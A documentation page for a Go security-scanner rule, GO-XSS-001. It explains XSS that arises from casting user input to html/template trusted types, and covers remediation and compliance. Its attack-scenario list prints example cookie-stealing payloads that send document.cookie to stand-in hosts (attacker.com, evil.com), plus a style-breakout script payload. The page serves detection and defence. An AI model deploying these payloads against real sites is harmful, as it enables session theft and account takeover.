XSS via Unsafe html/template Type Conversions

HIGH

User input cast to template.HTML, template.CSS, template.JS, or template.URL bypasses Go's context-aware auto-escaping, allowing raw attacker payload to reach the browser.

Rule Information

Language
Go
Category
Security
Author
Shivasurya
Shivasurya
Last Updated
2026-04-13
Tags
gosecurityxssreflected-xssstored-xsstemplatehtml-templatecontext-aware-escapingCWE-79OWASP-A03
CWE References

Interactive Playground

Experiment with the vulnerable code and security rule below. Edit the code to see how the rule detects different vulnerability patterns.

pathfinder scan --ruleset golang/GO-XSS-001 --project .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
rule.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Cross-file analysis: 3 files

About This Rule

Understanding the vulnerability and how it is detected

Go's html/template package performs context-aware escaping by default — it tracks whether a template action appears in an HTML body, attribute, <script> block, <style> block, or URL context, and applies appropriate escaping automatically. This is one of Go's strongest built-in security features.

The package defines "trusted type" wrappers that signal "skip escaping, this is already safe": template.HTML, template.CSS, template.JS, template.JSStr, template.HTMLAttr, template.URL, and template.Srcset. When a developer casts user-controlled input to any of these types, the template engine outputs the value verbatim without escaping — directly enabling XSS.

Go's standard library itself has had five CVEs in html/template between 2023–2026: CVE-2023-24538 (backtick JS template literal injection, CVSS 9.8), CVE-2023-39318, CVE-2023-39319 (script context comment handling), and CVE-2026-27142 (meta refresh URL injection). Developers should not assume html/template is bulletproof — correct usage (no type conversion of untrusted data) is still required.

Note: text/template performs zero HTML escaping. Using text/template where html/template is needed is equivalent to writing raw user input into the response.

Security Implications

Potential attack scenarios if this vulnerability is exploited

1

Session Hijacking

Injected <script>document.location='https://attacker.com?c='+document.cookie</script> steals the victim's session cookie, providing full account takeover.

2

Credential Harvesting

DOM manipulation replaces login forms with attacker-controlled forms that exfiltrate credentials directly to the attacker's server.

3

Malware Distribution

Stored XSS can silently redirect visitors to drive-by-download pages or inject crypto miners into every page load on a compromised site.

4

CSRF Token Theft

Injected JS reads CSRF tokens from the DOM, enabling state-changing requests as the authenticated victim. Real example: Gogs CVE-2022-32174 used stored XSS to extract CSRF tokens and escalate victim accounts to admin.

5

CSS Injection via template.CSS

template.CSS(userInput) can inject legacy IE expression() payloads or close the style block and open a script block: </style><script>alert(1)</script>.

6

javascript: URL via template.URL

template.URL only validates the scheme is not obviously dangerous but does not block javascript: pseudo-protocol in all contexts. Attacker supplies javascript:fetch('https://evil.com?c='+document.cookie) as a href value.

How to Fix

Recommended remediation steps

  • 1Never cast user-controlled values to template.HTML, template.CSS, template.JS, template.URL, template.HTMLAttr, template.JSStr, or template.Srcset.
  • 2Use html/template (not text/template) for all HTML output — text/template has zero escaping and is only safe for non-HTML output like plaintext emails.
  • 3For rich HTML content from users, use a dedicated HTML sanitizer (e.g., github.com/microcosm-cc/bluemonday) before wrapping in template.HTML.
  • 4Set a strict Content-Security-Policy header as defense-in-depth.
  • 5Set HttpOnly and SameSite=Lax on session cookies to limit XSS blast radius.
  • 6Keep Go up to date — html/template has had multiple CVEs; always run the latest patch release.

Detection Scope

How Code Pathfinder analyzes your code for this vulnerability

Tracks taint from net/http.Request, gin.Context, echo.Context, fiber.Ctx to html/template type conversion calls (template.HTML, CSS, JS, JSStr, HTMLAttr, Srcset, URL). Catches reflected XSS and partially catches stored XSS (when the DB read is within the tracked scope). Does not detect DOM XSS.

Compliance & Standards

Industry frameworks and regulations that require detection of this vulnerability

OWASP Top 10
A03:2021 - Injection (XSS sub-category)
CWE Top 25 (2024)
CWE-79 - Cross-site Scripting (rank #2)
PCI DSS v4.0
Requirement 6.2.4 — Protect bespoke and custom software against attacks including cross-site scripting. Requirement 6.4.3 — all scripts on payment pages must be inventoried and integrity-checked.
NIST SP 800-53 Rev 5
SI-10 (Information Input Validation) and SI-15 (Information Output Filtering)
HIPAA Security Rule
§164.312(a)(2)(iv) — Encryption and decryption of ePHI during transmission

References

External resources and documentation

Similar Rules

Explore related security rules for Go

Frequently Asked Questions

Common questions about XSS via Unsafe html/template Type Conversions

Go's html/template package performs context-aware escaping by default — it tracks whether a template action appears in an HTML body, attribute, <script> block, <style> block, or URL context, and applies appropriate escaping automatically. This is one of Go's strongest built-in security features. The package defines "trusted type" wrappers that signal "skip escaping, this is already safe": template.HTML, template.CSS, template.JS, template.JSStr, template.HTMLAttr, template.URL, and template.Srcset. When a developer casts user-controlled input to any of these types, the template engine outputs the value verbatim without escaping — directly enabling XSS. Go's standard library itself has had five CVEs in html/template between 2023–2026: CVE-2023-24538 (backtick JS template literal injection, CVSS 9.8), CVE-2023-39318, CVE-2023-39319 (script context comment handling), and CVE-2026-27142 (meta refresh URL injection). Developers should not assume html/template is bulletproof — correct usage (no type conversion of untrusted data) is still required. Note: text/template performs zero HTML escaping. Using text/template where html/template is needed is equivalent to writing raw user input into the response.
Use Code Pathfinder to scan your codebase: pathfinder scan --ruleset golang/GO-XSS-001 --project .
This vulnerability is rated as HIGH severity.
Yes! Code Pathfinder allows you to customize rules. Modify detection patterns, adjust severity levels, add custom sanitizers, and configure the rule to fit your organization's security policies.

New feature

Get these findings posted directly on your GitHub pull requests

The XSS via Unsafe html/template Type Conversions rule runs in CI and posts inline review comments on the exact lines — no dashboard, no SARIF viewer.

See how it works